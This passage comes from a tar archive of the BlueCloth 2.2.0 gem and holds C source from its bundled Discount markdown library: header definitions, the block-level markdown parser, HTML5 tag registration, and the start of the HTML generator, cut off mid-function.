b_post; } block; typedef STRING(block) Qblock; typedef char* (*mkd_callback_t)(const char*, const int, void*); typedef void (*mkd_free_t)(char*, void*); typedef struct callback_data { void *e_data; /* private data for callbacks */ mkd_callback_t e_url; /* url edit callback */ mkd_callback_t e_flags; /* extra href flags callback */ mkd_free_t e_free; /* edit/flags callback memory deallocator */ } Callback_data; /* a magic markdown io thing holds all the data structures needed to * do the backend processing of a markdown document */ typedef struct mmiot { Cstring out; Cstring in; Qblock Q; int isp; int reference; char *ref_prefix; STRING(Footnote) *footnotes; DWORD flags; #define MKD_NOLINKS 0x00000001 #define MKD_NOIMAGE 0x00000002 #define MKD_NOPANTS 0x00000004 #define MKD_NOHTML 0x00000008 #define MKD_STRICT 0x00000010 #define MKD_TAGTEXT 0x00000020 #define MKD_NO_EXT 0x00000040 #define MKD_CDATA 0x00000080 #define MKD_NOSUPERSCRIPT 0x00000100 #define MKD_NORELAXED 0x00000200 #define MKD_NOTABLES 0x00000400 #define MKD_NOSTRIKETHROUGH 0x00000800 #define MKD_TOC 0x00001000 #define MKD_1_COMPAT 0x00002000 #define MKD_AUTOLINK 0x00004000 #define MKD_SAFELINK 0x00008000 #define MKD_NOHEADER 0x00010000 #define MKD_TABSTOP 0x00020000 #define MKD_NODIVQUOTE 0x00040000 #define MKD_NOALPHALIST 0x00080000 #define MKD_NODLIST 0x00100000 #define MKD_EXTRA_FOOTNOTE 0x00200000 #define IS_LABEL 0x08000000 #define USER_FLAGS 0x0FFFFFFF #define INPUT_MASK (MKD_NOHEADER|MKD_TABSTOP) Callback_data *cb; } MMIOT; /* * the mkdio text input functions return a document structure, * which contains a header (retrieved from the document if * markdown was configured * with the * --enable-pandoc-header * and the document begins with a pandoc-style header) and the * root of the linked list of Lines. */ typedef struct document { int magic; /* "I AM VALID" magic number */ #define VALID_DOCUMENT 0x19600731 Line *title; Line *author; Line *date; ANCHOR(Line) content; /* uncompiled text, not valid after compile() */ Paragraph *code; /* intermediate code generated by compile() */ int compiled; /* set after mkd_compile() */ int html; /* set after (internal) htmlify() */ int tabstop; /* for properly expanding tabs (ick) */ char *ref_prefix; MMIOT *ctx; /* backend buffers, flags, and structures */ Callback_data cb; /* callback functions & private data */ } Document; extern int mkd_firstnonblank(Line *); extern int mkd_compile(Document *, DWORD); extern int mkd_document(Document *, char **); extern int mkd_generatehtml(Document *, FILE *); extern int mkd_css(Document *, char **); extern int mkd_generatecss(Document *, FILE *); #define mkd_style mkd_generatecss extern int mkd_xml(char *, int , char **); extern int mkd_generatexml(char *, int, FILE *); extern void mkd_cleanup(Document *); extern int mkd_line(char *, int, char **, DWORD); extern int mkd_generateline(char *, int, FILE*, DWORD); #define mkd_text mkd_generateline extern void mkd_basename(Document*, char *); typedef int (*mkd_sta_function_t)(const int,const void*); extern void mkd_string_to_anchor(char*,int, mkd_sta_function_t, void*, int); extern Document *mkd_in(FILE *, DWORD); extern Document *mkd_string(const char*,int, DWORD); extern void mkd_initialize(); extern void mkd_shlib_destructor(); extern void mkd_ref_prefix(Document*, char*); /* internal resource handling functions. */ extern void ___mkd_freeLine(Line *); extern void ___mkd_freeLines(Line *); extern void ___mkd_freeParagraph(Paragraph *); extern void ___mkd_freefootnote(Footnote *); extern void ___mkd_freefootnotes(MMIOT *); extern void ___mkd_initmmiot(MMIOT *, void *); extern void ___mkd_freemmiot(MMIOT *, void *); extern void ___mkd_freeLineRange(Line *, Line *); extern void ___mkd_xml(char *, int, FILE *); extern void ___mkd_reparse(char *, int, int, MMIOT*); extern void ___mkd_emblock(MMIOT*); extern void ___mkd_tidy(Cstring *); #endif/*_MARKDOWN_D*/ bluecloth-2.2.0/ext/markdown.c0000644000175000017500000005731111665167136015663 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include "config.h" #include #include #include #include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" #include "tags.h" typedef int (*stfu)(const void*,const void*); typedef ANCHOR(Paragraph) ParagraphRoot; /* case insensitive string sort for Footnote tags. */ int __mkd_footsort(Footnote *a, Footnote *b) { int i; char ac, bc; if ( S(a->tag) != S(b->tag) ) return S(a->tag) - S(b->tag); for ( i=0; i < S(a->tag); i++) { ac = tolower(T(a->tag)[i]); bc = tolower(T(b->tag)[i]); if ( isspace(ac) && isspace(bc) ) continue; if ( ac != bc ) return ac - bc; } return 0; } /* find the first blank character after position */ static int nextblank(Line *t, int i) { while ( (i < S(t->text)) && !isspace(T(t->text)[i]) ) ++i; return i; } /* find the next nonblank character after position */ static int nextnonblank(Line *t, int i) { while ( (i < S(t->text)) && isspace(T(t->text)[i]) ) ++i; return i; } /* find the first nonblank character on the Line. */ int mkd_firstnonblank(Line *p) { return nextnonblank(p,0); } static int blankline(Line *p) { return ! (p && (S(p->text) > p->dle) ); } static Line * skipempty(Line *p) { while ( p && (p->dle == S(p->text)) ) p = p->next; return p; } void ___mkd_tidy(Cstring *t) { while ( S(*t) && isspace(T(*t)[S(*t)-1]) ) --S(*t); } static struct kw comment = { "!--", 3, 0 }; static struct kw * isopentag(Line *p) { int i=0, len; char *line; if ( !p ) return 0; line = T(p->text); len = S(p->text); if ( len < 3 || line[0] != '<' ) return 0; if ( line[1] == '!' && line[2] == '-' && line[3] == '-' ) /* comments need special case handling, because * the !-- doesn't need to end in a whitespace */ return &comment; /* find how long the tag is so we can check to see if * it's a block-level tag */ for ( i=1; i < len && T(p->text)[i] != '>' && T(p->text)[i] != '/' && !isspace(T(p->text)[i]); ++i ) ; return mkd_search_tags(T(p->text)+1, i-1); } typedef struct _flo { Line *t; int i; } FLO; #define floindex(x) (x.i) static int flogetc(FLO *f) { if ( f && f->t ) { if ( f->i < S(f->t->text) ) return T(f->t->text)[f->i++]; f->t = f->t->next; f->i = 0; return flogetc(f); } return EOF; } static void splitline(Line *t, int cutpoint) { if ( t && (cutpoint < S(t->text)) ) { Line *tmp = calloc(1, sizeof *tmp); tmp->next = t->next; t->next = tmp; tmp->dle = t->dle; SUFFIX(tmp->text, T(t->text)+cutpoint, S(t->text)-cutpoint); S(t->text) = cutpoint; } } static Line * commentblock(Paragraph *p, int *unclosed) { Line *t, *ret; char *end; for ( t = p->text; t ; t = t->next) { if ( end = strstr(T(t->text), "-->") ) { splitline(t, 3 + (end - T(t->text)) ); ret = t->next; t->next = 0; return ret; } } *unclosed = 1; return t; } static Line * htmlblock(Paragraph *p, struct kw *tag, int *unclosed) { Line *ret; FLO f = { p->text, 0 }; int c; int i, closing, depth=0; *unclosed = 0; if ( tag == &comment ) return commentblock(p, unclosed); if ( tag->selfclose ) { ret = f.t->next; f.t->next = 0; return ret; } while ( (c = flogetc(&f)) != EOF ) { if ( c == '<' ) { /* tag? */ c = flogetc(&f); if ( c == '!' ) { /* comment? */ if ( flogetc(&f) == '-' && flogetc(&f) == '-' ) { /* yes */ while ( (c = flogetc(&f)) != EOF ) { if ( c == '-' && flogetc(&f) == '-' && flogetc(&f) == '>') /* consumed whole comment */ break; } } } else { if ( closing = (c == '/') ) c = flogetc(&f); for ( i=0; i < tag->size; c=flogetc(&f) ) { if ( tag->id[i++] != toupper(c) ) break; } if ( (i == tag->size) && !isalnum(c) ) { depth = depth + (closing ? -1 : 1); if ( depth == 0 ) { while ( c != EOF && c != '>' ) { /* consume trailing gunk in close tag */ c = flogetc(&f); } if ( c == EOF ) break; if ( !f.t ) return 0; splitline(f.t, floindex(f)); ret = f.t->next; f.t->next = 0; return ret; } } } } } *unclosed = 1; return 0; } /* tables look like * header|header{|header} * ------|------{|......} * {body lines} */ static int istable(Line *t) { char *p; Line *dashes, *body; int l; int dashed = 0; /* three lines, first must contain |, second must be ---|---, third must contain | */ if ( !(t->flags & PIPECHAR) ) return 0; dashes = t->next; if ( !(dashes && (dashes->flags & PIPECHAR)) ) return 0; body = dashes->next; if ( !(body && (body->flags & PIPECHAR)) ) return 0; /* second line must contain - or | and nothing * else except for whitespace or : */ for ( p = T(dashes->text), l = S(dashes->text); l > 0; ++p, --l) if ( *p == '-' ) dashed = 1; else if ( ! ((*p == '|') || (*p == ':') || isspace(*p)) ) return 0; return dashed; } /* footnotes look like ^{0,3}[stuff]: $ */ static int isfootnote(Line *t) { int i; if ( ( (i = t->dle) > 3) || (T(t->text)[i] != '[') ) return 0; for ( ++i; i < S(t->text) ; ++i ) { if ( T(t->text)[i] == '[' ) return 0; else if ( T(t->text)[i] == ']' ) return ( T(t->text)[i+1] == ':' ) ; } return 0; } static int isquote(Line *t) { int j; for ( j=0; j < 4; j++ ) if ( T(t->text)[j] == '>' ) return 1; else if ( !isspace(T(t->text)[j]) ) return 0; return 0; } static int dashchar(char c) { return (c == '*') || (c == '-') || (c == '_'); } static int iscode(Line *t) { return (t->dle >= 4); } static int ishr(Line *t) { int i, count=0; char dash = 0; char c; if ( iscode(t) ) return 0; for ( i = 0; i < S(t->text); i++) { c = T(t->text)[i]; if ( (dash == 0) && dashchar(c) ) dash = c; if ( c == dash ) ++count; else if ( !isspace(c) ) return 0; } return (count >= 3); } static int issetext(Line *t, int *htyp) { int i; /* then check for setext-style HEADER * ====== */ if ( t->next ) { char *q = T(t->next->text); int last = S(t->next->text); if ( (*q == '=') || (*q == '-') ) { /* ignore trailing whitespace */ while ( (last > 1) && isspace(q[last-1]) ) --last; for (i=1; i < last; i++) if ( q[0] != q[i] ) return 0; *htyp = SETEXT; return 1; } } return 0; } static int ishdr(Line *t, int *htyp) { int i; /* first check for etx-style ###HEADER### */ /* leading run of `#`'s ? */ for ( i=0; T(t->text)[i] == '#'; ++i) ; /* ANY leading `#`'s make this into an ETX header */ if ( i && (i < S(t->text) || i > 1) ) { *htyp = ETX; return 1; } return issetext(t, htyp); } static Line* is_discount_dt(Line *t, int *clip) { #if USE_DISCOUNT_DL if ( t && t->next && (S(t->text) > 2) && (t->dle == 0) && (T(t->text)[0] == '=') && (T(t->text)[S(t->text)-1] == '=') ) { if ( t->next->dle >= 4 ) { *clip = 4; return t; } else return is_discount_dt(t->next, clip); } #endif return 0; } static int is_extra_dd(Line *t) { return (t->dle < 4) && (T(t->text)[t->dle] == ':') && isspace(T(t->text)[t->dle+1]); } static Line* is_extra_dt(Line *t, int *clip) { #if USE_EXTRA_DL int i; if ( t && t->next && T(t->text)[0] != '=' && T(t->text)[S(t->text)-1] != '=') { Line *x; if ( iscode(t) || blankline(t) || ishdr(t,&i) || ishr(t) ) return 0; if ( (x = skipempty(t->next)) && is_extra_dd(x) ) { *clip = x->dle+2; return t; } if ( x=is_extra_dt(t->next, clip) ) return x; } #endif return 0; } static Line* isdefinition(Line *t, int *clip, int *kind) { Line *ret; *kind = 1; if ( ret = is_discount_dt(t,clip) ) return ret; *kind=2; return is_extra_dt(t,clip); } static int islist(Line *t, int *clip, DWORD flags, int *list_type) { int i, j; char *q; if ( /*iscode(t) ||*/ blankline(t) || ishdr(t,&i) || ishr(t) ) return 0; if ( !(flags & (MKD_NODLIST|MKD_STRICT)) && isdefinition(t,clip,list_type) ) return DL; if ( strchr("*-+", T(t->text)[t->dle]) && isspace(T(t->text)[t->dle+1]) ) { i = nextnonblank(t, t->dle+1); *clip = (i > 4) ? 4 : i; *list_type = UL; return AL; } if ( (j = nextblank(t,t->dle)) > t->dle ) { if ( T(t->text)[j-1] == '.' ) { if ( !(flags & (MKD_NOALPHALIST|MKD_STRICT)) && (j == t->dle + 2) && isalpha(T(t->text)[t->dle]) ) { j = nextnonblank(t,j); *clip = (j > 4) ? 4 : j; *list_type = AL; return AL; } strtoul(T(t->text)+t->dle, &q, 10); if ( (q > T(t->text)+t->dle) && (q == T(t->text) + (j-1)) ) { j = nextnonblank(t,j); *clip = (j > 4) ? 4 : j; *list_type = OL; return AL; } } } return 0; } static Line * headerblock(Paragraph *pp, int htyp) { Line *ret = 0; Line *p = pp->text; int i, j; switch (htyp) { case SETEXT: /* p->text is header, p->next->text is -'s or ='s */ pp->hnumber = (T(p->next->text)[0] == '=') ? 1 : 2; ret = p->next->next; ___mkd_freeLine(p->next); p->next = 0; break; case ETX: /* p->text is ###header###, so we need to trim off * the leading and trailing `#`'s */ for (i=0; (T(p->text)[i] == T(p->text)[0]) && (i < S(p->text)-1) && (i < 6); i++) ; pp->hnumber = i; while ( (i < S(p->text)) && isspace(T(p->text)[i]) ) ++i; CLIP(p->text, 0, i); for (j=S(p->text); (j > 1) && (T(p->text)[j-1] == '#'); --j) ; while ( j && isspace(T(p->text)[j-1]) ) --j; S(p->text) = j; ret = p->next; p->next = 0; break; } return ret; } static Line * codeblock(Paragraph *p) { Line *t = p->text, *r; for ( ; t; t = r ) { CLIP(t->text,0,4); t->dle = mkd_firstnonblank(t); if ( !( (r = skipempty(t->next)) && iscode(r)) ) { ___mkd_freeLineRange(t,r); t->next = 0; return r; } } return t; } static int centered(Line *first, Line *last) { if ( first&&last ) { int len = S(last->text); if ( (len > 2) && (strncmp(T(first->text), "->", 2) == 0) && (strncmp(T(last->text)+len-2, "<-", 2) == 0) ) { CLIP(first->text, 0, 2); S(last->text) -= 2; return CENTER; } } return 0; } static int endoftextblock(Line *t, int toplevelblock, DWORD flags) { int z; if ( blankline(t)||isquote(t)||ishdr(t,&z)||ishr(t) ) return 1; /* HORRIBLE STANDARDS KLUDGE: non-toplevel paragraphs absorb adjacent * code blocks */ if ( toplevelblock && iscode(t) ) return 1; /* HORRIBLE STANDARDS KLUDGE: Toplevel paragraphs eat absorb adjacent * list items, but sublevel blocks behave properly. */ return toplevelblock ? 0 : islist(t,&z,flags, &z); } static Line * textblock(Paragraph *p, int toplevel, DWORD flags) { Line *t, *next; for ( t = p->text; t ; t = next ) { if ( ((next = t->next) == 0) || endoftextblock(next, toplevel, flags) ) { p->align = centered(p->text, t); t->next = 0; return next; } } return t; } /* length of the id: or class: kind in a special div-not-quote block */ static int szmarkerclass(char *p) { if ( strncasecmp(p, "id:", 3) == 0 ) return 3; if ( strncasecmp(p, "class:", 6) == 0 ) return 6; return 0; } /* * check if the first line of a quoted block is the special div-not-quote * marker %[kind:]name% */ #define iscsschar(c) (isalpha(c) || (c == '-') || (c == '_') ) static int isdivmarker(Line *p, int start, DWORD flags) { char *s; int last, i; if ( flags & (MKD_NODIVQUOTE|MKD_STRICT) ) return 0; last= S(p->text) - (1 + start); s = T(p->text) + start; if ( (last <= 0) || (*s != '%') || (s[last] != '%') ) return 0; i = szmarkerclass(s+1); if ( !iscsschar(s[i+1]) ) return 0; while ( ++i < last ) if ( !(isdigit(s[i]) || iscsschar(s[i])) ) return 0; return 1; } /* * accumulate a blockquote. * * one sick horrible thing about blockquotes is that even though * it just takes ^> to start a quote, following lines, if quoted, * assume that the prefix is ``>''. This means that code needs * to be indented *5* spaces from the leading '>', but *4* spaces * from the start of the line. This does not appear to be * documented in the reference implementation, but it's the * way the markdown sample web form at Daring Fireball works. */ static Line * quoteblock(Paragraph *p, DWORD flags) { Line *t, *q; int qp; for ( t = p->text; t ; t = q ) { if ( isquote(t) ) { /* clip leading spaces */ for (qp = 0; T(t->text)[qp] != '>'; qp ++) /* assert: the first nonblank character on this line * will be a > */; /* clip '>' */ qp++; /* clip next space, if any */ if ( T(t->text)[qp] == ' ' ) qp++; CLIP(t->text, 0, qp); t->dle = mkd_firstnonblank(t); } q = skipempty(t->next); if ( (q == 0) || ((q != t->next) && (!isquote(q) || isdivmarker(q,1,flags))) ) { ___mkd_freeLineRange(t, q); t = q; break; } } if ( isdivmarker(p->text,0,flags) ) { char *prefix = "class"; int i; q = p->text; p->text = p->text->next; if ( (i = szmarkerclass(1+T(q->text))) == 3 ) /* and this would be an "%id:" prefix */ prefix="id"; if ( p->ident = malloc(4+strlen(prefix)+S(q->text)) ) sprintf(p->ident, "%s=\"%.*s\"", prefix, S(q->text)-(i+2), T(q->text)+(i+1) ); ___mkd_freeLine(q); } return t; } /* * A table block starts with a table header (see istable()), and continues * until EOF or a line that /doesn't/ contain a |. */ static Line * tableblock(Paragraph *p) { Line *t, *q; for ( t = p->text; t && (q = t->next); t = t->next ) { if ( !(t->flags & PIPECHAR) ) { t->next = 0; return q; } } return 0; } static Paragraph *Pp(ParagraphRoot *, Line *, int); static Paragraph *compile(Line *, int, MMIOT *); typedef int (*linefn)(Line *); /* * pull in a list block. A list block starts with a list marker and * runs until the next list marker, the next non-indented paragraph, * or EOF. You do not have to indent nonblank lines after the list * marker, but multiple paragraphs need to start with a 4-space indent. */ static Line * listitem(Paragraph *p, int indent, DWORD flags, linefn check) { Line *t, *q; int clip = indent; int z; for ( t = p->text; t ; t = q) { CLIP(t->text, 0, clip); t->dle = mkd_firstnonblank(t); if ( (q = skipempty(t->next)) == 0 ) { ___mkd_freeLineRange(t,q); return 0; } /* after a blank line, the next block needs to start with a line * that's indented 4(? -- reference implementation allows a 1 * character indent, but that has unfortunate side effects here) * spaces, but after that the line doesn't need any indentation */ if ( q != t->next ) { if (q->dle < indent) { q = t->next; t->next = 0; return q; } /* indent at least 2, and at most as * as far as the initial line was indented. */ indent = clip ? clip : 2; } if ( (q->dle < indent) && (ishr(q) || islist(q,&z,flags,&z) || (check && (*check)(q))) && !issetext(q,&z) ) { q = t->next; t->next = 0; return q; } clip = (q->dle > indent) ? indent : q->dle; } return t; } static Line * definition_block(Paragraph *top, int clip, MMIOT *f, int kind) { ParagraphRoot d = { 0, 0 }; Paragraph *p; Line *q = top->text, *text = 0, *labels; int z, para; while (( labels = q )) { if ( (q = isdefinition(labels, &z, &kind)) == 0 ) break; if ( (text = skipempty(q->next)) == 0 ) break; if (( para = (text != q->next) )) ___mkd_freeLineRange(q, text); q->next = 0; if ( kind == 1 /* discount dl */ ) for ( q = labels; q; q = q->next ) { CLIP(q->text, 0, 1); S(q->text)--; } dd_block: p = Pp(&d, text, LISTITEM); text = listitem(p, clip, f->flags, (kind==2) ? is_extra_dd : 0); p->down = compile(p->text, 0, f); p->text = labels; labels = 0; if ( para && p->down ) p->down->align = PARA; if ( (q = skipempty(text)) == 0 ) break; if (( para = (q != text) )) { Line anchor; anchor.next = text; ___mkd_freeLineRange(&anchor,q); text = q; } if ( kind == 2 && is_extra_dd(q) ) goto dd_block; } top->text = 0; top->down = T(d); return text; } static Line * enumerated_block(Paragraph *top, int clip, MMIOT *f, int list_class) { ParagraphRoot d = { 0, 0 }; Paragraph *p; Line *q = top->text, *text; int para = 0, z; while (( text = q )) { p = Pp(&d, text, LISTITEM); text = listitem(p, clip, f->flags, 0); p->down = compile(p->text, 0, f); p->text = 0; if ( para && p->down ) p->down->align = PARA; if ( (q = skipempty(text)) == 0 || islist(q, &clip, f->flags, &z) != list_class ) break; if ( para = (q != text) ) { Line anchor; anchor.next = text; ___mkd_freeLineRange(&anchor, q); if ( p->down ) p->down->align = PARA; } } top->text = 0; top->down = T(d); return text; } static int tgood(char c) { switch (c) { case '\'': case '"': return c; case '(': return ')'; } return 0; } /* * add a new (image or link) footnote to the footnote table */ static Line* addfootnote(Line *p, MMIOT* f) { int j, i; int c; Line *np = p->next; Footnote *foot = &EXPAND(*f->footnotes); CREATE(foot->tag); CREATE(foot->link); CREATE(foot->title); foot->flags = foot->height = foot->width = 0; for (j=i=p->dle+1; T(p->text)[j] != ']'; j++) EXPAND(foot->tag) = T(p->text)[j]; EXPAND(foot->tag) = 0; S(foot->tag)--; j = nextnonblank(p, j+2); if ( (f->flags & MKD_EXTRA_FOOTNOTE) && (T(foot->tag)[0] == '^') ) { while ( j < S(p->text) ) EXPAND(foot->title) = T(p->text)[j++]; goto skip_to_end; } while ( (j < S(p->text)) && !isspace(T(p->text)[j]) ) EXPAND(foot->link) = T(p->text)[j++]; EXPAND(foot->link) = 0; S(foot->link)--; j = nextnonblank(p,j); if ( T(p->text)[j] == '=' ) { sscanf(T(p->text)+j, "=%dx%d", &foot->width, &foot->height); while ( (j < S(p->text)) && !isspace(T(p->text)[j]) ) ++j; j = nextnonblank(p,j); } if ( (j >= S(p->text)) && np && np->dle && tgood(T(np->text)[np->dle]) ) { ___mkd_freeLine(p); p = np; np = p->next; j = p->dle; } if ( (c = tgood(T(p->text)[j])) ) { /* Try to take the rest of the line as a comment; read to * EOL, then shrink the string back to before the final * quote. */ ++j; /* skip leading quote */ while ( j < S(p->text) ) EXPAND(foot->title) = T(p->text)[j++]; while ( S(foot->title) && T(foot->title)[S(foot->title)-1] != c ) --S(foot->title); if ( S(foot->title) ) /* skip trailing quote */ --S(foot->title); EXPAND(foot->title) = 0; --S(foot->title); } skip_to_end: ___mkd_freeLine(p); return np; } /* * allocate a paragraph header, link it to the * tail of the current document */ static Paragraph * Pp(ParagraphRoot *d, Line *ptr, int typ) { Paragraph *ret = calloc(sizeof *ret, 1); ret->text = ptr; ret->typ = typ; return ATTACH(*d, ret); } static Line* consume(Line *ptr, int *eaten) { Line *next; int blanks=0; for (; ptr && blankline(ptr); ptr = next, blanks++ ) { next = ptr->next; ___mkd_freeLine(ptr); } if ( ptr ) *eaten = blanks; return ptr; } /* * top-level compilation; break the document into * style, html, and source blocks with footnote links * weeded out. */ static Paragraph * compile_document(Line *ptr, MMIOT *f) { ParagraphRoot d = { 0, 0 }; ANCHOR(Line) source = { 0, 0 }; Paragraph *p = 0; struct kw *tag; int eaten, unclosed; while ( ptr ) { if ( !(f->flags & MKD_NOHTML) && (tag = isopentag(ptr)) ) { /* If we encounter a html/style block, compile and save all * of the cached source BEFORE processing the html/style. */ if ( T(source) ) { E(source)->next = 0; p = Pp(&d, 0, SOURCE); p->down = compile(T(source), 1, f); T(source) = E(source) = 0; } p = Pp(&d, ptr, strcmp(tag->id, "STYLE") == 0 ? STYLE : HTML); ptr = htmlblock(p, tag, &unclosed); if ( unclosed ) { p->typ = SOURCE; p->down = compile(p->text, 1, f); p->text = 0; } } else if ( isfootnote(ptr) ) { /* footnotes, like cats, sleep anywhere; pull them * out of the input stream and file them away for * later processing */ ptr = consume(addfootnote(ptr, f), &eaten); } else { /* source; cache it up to wait for eof or the * next html/style block */ ATTACH(source,ptr); ptr = ptr->next; } } if ( T(source) ) { /* if there's any cached source at EOF, compile * it now. */ E(source)->next = 0; p = Pp(&d, 0, SOURCE); p->down = compile(T(source), 1, f); } return T(d); } /* * break a collection of markdown input into * blocks of lists, code, html, and text to * be marked up. */ static Paragraph * compile(Line *ptr, int toplevel, MMIOT *f) { ParagraphRoot d = { 0, 0 }; Paragraph *p = 0; Line *r; int para = toplevel; int blocks = 0; int hdr_type, list_type, list_class, indent; ptr = consume(ptr, ¶); while ( ptr ) { if ( iscode(ptr) ) { p = Pp(&d, ptr, CODE); if ( f->flags & MKD_1_COMPAT) { /* HORRIBLE STANDARDS KLUDGE: the first line of every block * has trailing whitespace trimmed off. */ ___mkd_tidy(&p->text->text); } ptr = codeblock(p); } else if ( ishr(ptr) ) { p = Pp(&d, 0, HR); r = ptr; ptr = ptr->next; ___mkd_freeLine(r); } else if (( list_class = islist(ptr, &indent, f->flags, &list_type) )) { if ( list_class == DL ) { p = Pp(&d, ptr, DL); ptr = definition_block(p, indent, f, list_type); } else { p = Pp(&d, ptr, list_type); ptr = enumerated_block(p, indent, f, list_class); } } else if ( isquote(ptr) ) { p = Pp(&d, ptr, QUOTE); ptr = quoteblock(p, f->flags); p->down = compile(p->text, 1, f); p->text = 0; } else if ( ishdr(ptr, &hdr_type) ) { p = Pp(&d, ptr, HDR); ptr = headerblock(p, hdr_type); } else if ( istable(ptr) && !(f->flags & (MKD_STRICT|MKD_NOTABLES)) ) { p = Pp(&d, ptr, TABLE); ptr = tableblock(p); } else { p = Pp(&d, ptr, MARKUP); ptr = textblock(p, toplevel, f->flags); } if ( (para||toplevel) && !p->align ) p->align = PARA; blocks++; para = toplevel || (blocks > 1); ptr = consume(ptr, ¶); if ( para && !p->align ) p->align = PARA; } return T(d); } /* * the guts of the markdown() function, ripped out so I can do * debugging. */ /* * prepare and compile `text`, returning a Paragraph tree. */ int mkd_compile(Document *doc, DWORD flags) { if ( !doc ) return 0; if ( doc->compiled ) return 1; doc->compiled = 1; memset(doc->ctx, 0, sizeof(MMIOT) ); doc->ctx->ref_prefix= doc->ref_prefix; doc->ctx->cb = &(doc->cb); doc->ctx->flags = flags & USER_FLAGS; CREATE(doc->ctx->in); doc->ctx->footnotes = malloc(sizeof doc->ctx->footnotes[0]); CREATE(*doc->ctx->footnotes); mkd_initialize(); doc->code = compile_document(T(doc->content), doc->ctx); qsort(T(*doc->ctx->footnotes), S(*doc->ctx->footnotes), sizeof T(*doc->ctx->footnotes)[0], (stfu)__mkd_footsort); memset(&doc->content, 0, sizeof doc->content); return 1; } bluecloth-2.2.0/ext/html5.c0000644000175000017500000000074011665167136015064 0ustar boutilboutil/* block-level tags for passing html5 blocks through the blender */ #include "tags.h" void mkd_with_html5_tags() { static int populated = 0; if ( populated ) return; populated = 1; mkd_prepare_tags(); mkd_define_tag("ASIDE", 0); mkd_define_tag("FOOTER", 0); mkd_define_tag("HEADER", 0); mkd_define_tag("HGROUP", 0); mkd_define_tag("NAV", 0); mkd_define_tag("SECTION", 0); mkd_define_tag("ARTICLE", 0); mkd_sort_tags(); } bluecloth-2.2.0/ext/generate.c0000644000175000017500000010640511665167136015632 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include #include #include #include #include #include #include "config.h" #include "cstring.h" #include "markdown.h" #include "amalloc.h" typedef int (*stfu)(const void*,const void*); typedef void (*spanhandler)(MMIOT*,int); /* forward declarations */ static void text(MMIOT *f); static Paragraph *display(Paragraph*, MMIOT*); /* externals from markdown.c */ int __mkd_footsort(Footnote *, Footnote *); /* * push text into the generator input buffer */ static void push(char *bfr, int size, MMIOT *f) { while ( size-- > 0 ) EXPAND(f->in) = *bfr++; } /* look characters ahead of the cursor. */ static int peek(MMIOT *f, int i) { i += (f->isp-1); return (i >= 0) && (i < S(f->in)) ? T(f->in)[i] : EOF; } /* pull a byte from the input buffer */ static int pull(MMIOT *f) { return ( f->isp < S(f->in) ) ? T(f->in)[f->isp++] : EOF; } /* return a pointer to the current position in the input buffer. */ static char* cursor(MMIOT *f) { return T(f->in) + f->isp; } static int isthisspace(MMIOT *f, int i) { int c = peek(f, i); return isspace(c) || (c == EOF); } static int isthisalnum(MMIOT *f, int i) { int c = peek(f, i); return (c != EOF) && isalnum(c); } static int isthisnonword(MMIOT *f, int i) { return isthisspace(f, i) || ispunct(peek(f,i)); } /* return/set the current cursor position */ #define mmiotseek(f,x) (f->isp = x) #define mmiottell(f) (f->isp) /* move n characters forward ( or -n characters backward) in the input buffer. */ static void shift(MMIOT *f, int i) { if (f->isp + i >= 0 ) f->isp += i; } /* Qchar() */ static void Qchar(int c, MMIOT *f) { block *cur; if ( S(f->Q) == 0 ) { cur = &EXPAND(f->Q); memset(cur, 0, sizeof *cur); cur->b_type = bTEXT; } else cur = &T(f->Q)[S(f->Q)-1]; EXPAND(cur->b_text) = c; } /* Qstring() */ static void Qstring(char *s, MMIOT *f) { while (*s) Qchar(*s++, f); } /* Qwrite() */ static void Qwrite(char *s, int size, MMIOT *f) { while (size-- > 0) Qchar(*s++, f); } /* Qprintf() */ static void Qprintf(MMIOT *f, char *fmt, ...) { char bfr[80]; va_list ptr; va_start(ptr,fmt); vsnprintf(bfr, sizeof bfr, fmt, ptr); va_end(ptr); Qstring(bfr, f); } /* Qem() */ static void Qem(MMIOT *f, char c, int count) { block *p = &EXPAND(f->Q); memset(p, 0, sizeof *p); p->b_type = (c == '*') ? bSTAR : bUNDER; p->b_char = c; p->b_count = count; memset(&EXPAND(f->Q), 0, sizeof(block)); } /* generate html from a markup fragment */ void ___mkd_reparse(char *bfr, int size, int flags, MMIOT *f) { MMIOT sub; ___mkd_initmmiot(&sub, f->footnotes); sub.flags = f->flags | flags; sub.cb = f->cb; sub.ref_prefix = f->ref_prefix; push(bfr, size, &sub); EXPAND(sub.in) = 0; S(sub.in)--; text(&sub); ___mkd_emblock(&sub); Qwrite(T(sub.out), S(sub.out), f); ___mkd_freemmiot(&sub, f->footnotes); } /* * write out a url, escaping problematic characters */ static void puturl(char *s, int size, MMIOT *f, int display) { unsigned char c; while ( size-- > 0 ) { c = *s++; if ( c == '\\' && size-- > 0 ) { c = *s++; if ( !( ispunct(c) || isspace(c) ) ) Qchar('\\', f); } if ( c == '&' ) Qstring("&", f); else if ( c == '<' ) Qstring("<", f); else if ( c == '"' ) Qstring("%22", f); else if ( isalnum(c) || ispunct(c) || (display && isspace(c)) ) Qchar(c, f); else if ( c == 003 ) /* untokenize ^C */ Qstring(" ", f); else Qprintf(f, "%%%02X", c); } } /* advance forward until the next character is not whitespace */ static int eatspace(MMIOT *f) { int c; for ( ; ((c=peek(f, 1)) != EOF) && isspace(c); pull(f) ) ; return c; } /* (match (a (nested (parenthetical (string.))))) */ static int parenthetical(int in, int out, MMIOT *f) { int size, indent, c; for ( indent=1,size=0; indent; size++ ) { if ( (c = pull(f)) == EOF ) return EOF; else if ( (c == '\\') && (peek(f,1) == out || peek(f,1) == in) ) { ++size; pull(f); } else if ( c == in ) ++indent; else if ( c == out ) --indent; } return size ? (size-1) : 0; } /* extract a []-delimited label from the input stream. */ static int linkylabel(MMIOT *f, Cstring *res) { char *ptr = cursor(f); int size; if ( (size = parenthetical('[',']',f)) != EOF ) { T(*res) = ptr; S(*res) = size; return 1; } return 0; } /* see if the quote-prefixed linky segment is actually a title. */ static int linkytitle(MMIOT *f, char quote, Footnote *ref) { int whence = mmiottell(f); char *title = cursor(f); char *e; register int c; while ( (c = pull(f)) != EOF ) { e = cursor(f); if ( c == quote ) { if ( (c = eatspace(f)) == ')' ) { T(ref->title) 